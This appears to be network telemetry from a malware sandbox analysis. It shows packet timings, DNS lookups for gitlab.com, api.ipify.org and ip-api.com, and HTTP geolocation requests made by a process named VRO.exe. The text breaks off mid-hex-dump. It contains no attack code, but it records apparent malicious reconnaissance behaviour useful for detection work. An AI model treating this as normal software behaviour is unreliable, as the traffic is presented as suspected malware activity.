Jan 14, 2025 13:28:48.154619932 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.154656887 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.154695988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.154711008 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.154719114 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.154742956 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.198259115 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.243340969 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243350029 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243451118 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243542910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243580103 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.243580103 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.243587971 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243619919 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243669987 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243711948 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.243712902 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.243874073 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243890047 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243952990 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.243976116 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.243999958 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.244091988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244108915 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244154930 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.244168043 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244193077 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.244434118 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244446039 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244509935 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.244524002 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244771004 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244787931 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.244856119 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.244857073 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.244870901 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.245038033 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.245050907 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.245079994 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.245098114 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.245114088 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.245127916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.245152950 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.245173931 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.334716082 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.334770918 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.334820032 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.334844112 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.334878922 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.334899902 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.335165024 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335181952 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335253954 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.335267067 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335334063 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.335506916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335520029 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335588932 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.335601091 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335654020 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.335832119 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335844994 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335905075 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.335917950 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.335967064 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.336350918 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.336364031 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.336427927 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.336440086 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.336504936 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.336519957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.336576939 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.336904049 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.336919069 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.336980104 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.336991072 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.337414980 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.337433100 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.337476969 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.337488890 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.337515116 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.337579966 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.337591887 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.337651014 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.337663889 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.384342909 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425271988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425283909 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425411940 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425442934 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425501108 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425514936 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425528049 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425560951 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425580025 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425601006 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425626040 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425657988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425697088 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425715923 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425751925 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425766945 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425832033 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425847054 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425864935 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425885916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425901890 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425914049 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.425946951 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425962925 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.425987005 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426073074 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426086903 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426140070 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426141977 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426153898 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426203966 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426249027 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426311016 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426332951 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426348925 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426399946 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426413059 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426462889 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426604986 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426621914 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426683903 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.426697016 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.426753998 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.515645981 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.515734911 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.515757084 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.515773058 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.515825987 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.515981913 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516001940 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516052008 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516079903 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516107082 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516128063 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516252041 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516272068 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516330004 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516341925 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516402006 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516571045 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516592979 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516660929 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516660929 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516676903 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516727924 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516815901 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.516889095 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.516937017 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517000914 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.517062902 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517182112 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.517218113 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517236948 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517297029 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.517307997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517326117 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517350912 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517359018 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.517369986 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.517396927 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.517430067 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.605963945 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606050014 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606144905 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606219053 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606534004 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606571913 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606611013 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606630087 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606652975 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606674910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606756926 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606775045 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606806993 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606843948 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606854916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.606904030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.606991053 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607011080 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607073069 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607084036 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607135057 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607197046 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607215881 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607274055 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607285023 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607338905 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607501984 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607520103 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607564926 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607574940 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607600927 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607620001 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607692957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607758045 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607774019 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607836962 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607861996 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607881069 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607920885 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607937098 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.607959986 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.607981920 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.696667910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.696690083 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.696820974 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.696835995 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.696851015 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.696912050 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.696935892 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.696985006 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.697016001 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.697033882 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.697861910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.697880983 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.697940111 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.697952032 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698004007 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698147058 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698168039 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698215961 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698226929 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698252916 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698282003 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698457956 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698481083 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698528051 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698538065 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698559046 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698563099 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698585987 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698592901 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698604107 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698632002 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698646069 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698647976 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698668003 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698682070 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698698997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698718071 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698730946 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698730946 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698745012 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698750973 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698764086 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.698788881 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698807955 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.698823929 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.787237883 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.787305117 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.787597895 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.787630081 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.787688017 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.787971020 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.787990093 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788053036 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.788064957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788307905 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788331985 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788372040 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.788392067 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788415909 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.788434982 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.788570881 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788592100 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788642883 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.788655996 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788723946 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788798094 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.788995981 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:48.789009094 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.789026022 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:48.789043903 CET	443	49730	172.65.251.78	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 13:28:35.236558914 CET	192.168.2.4	1.1.1.1	0x7240	Standard query (0)	gitlab.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:30:38.465570927 CET	192.168.2.4	1.1.1.1	0xc772	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:30:39.729927063 CET	192.168.2.4	1.1.1.1	0x24c8	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 13:28:35.243269920 CET	1.1.1.1	192.168.2.4	0x7240	No error (0)	gitlab.com	172.65.251.78	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:30:38.472286940 CET	1.1.1.1	192.168.2.4	0xc772	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:30:38.472286940 CET	1.1.1.1	192.168.2.4	0xc772	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:30:38.472286940 CET	1.1.1.1	192.168.2.4	0xc772	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Jan 14, 2025 13:30:39.736520052 CET	1.1.1.1	192.168.2.4	0x24c8	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50020	208.95.112.1	80	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 13:30:39.742202997 CET	53	OUT	GET /json/8.46.123.189 HTTP/1.1 Host: ip-api.com
Jan 14, 2025 13:30:40.206166029 CET	483	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:39 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50023	208.95.112.1	80	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 13:30:41.470428944 CET	53	OUT	GET /json/8.46.123.189 HTTP/1.1 Host: ip-api.com
Jan 14, 2025 13:30:41.954636097 CET	483	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 306 Access-Control-Allow-Origin: * X-Ttl: 58 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 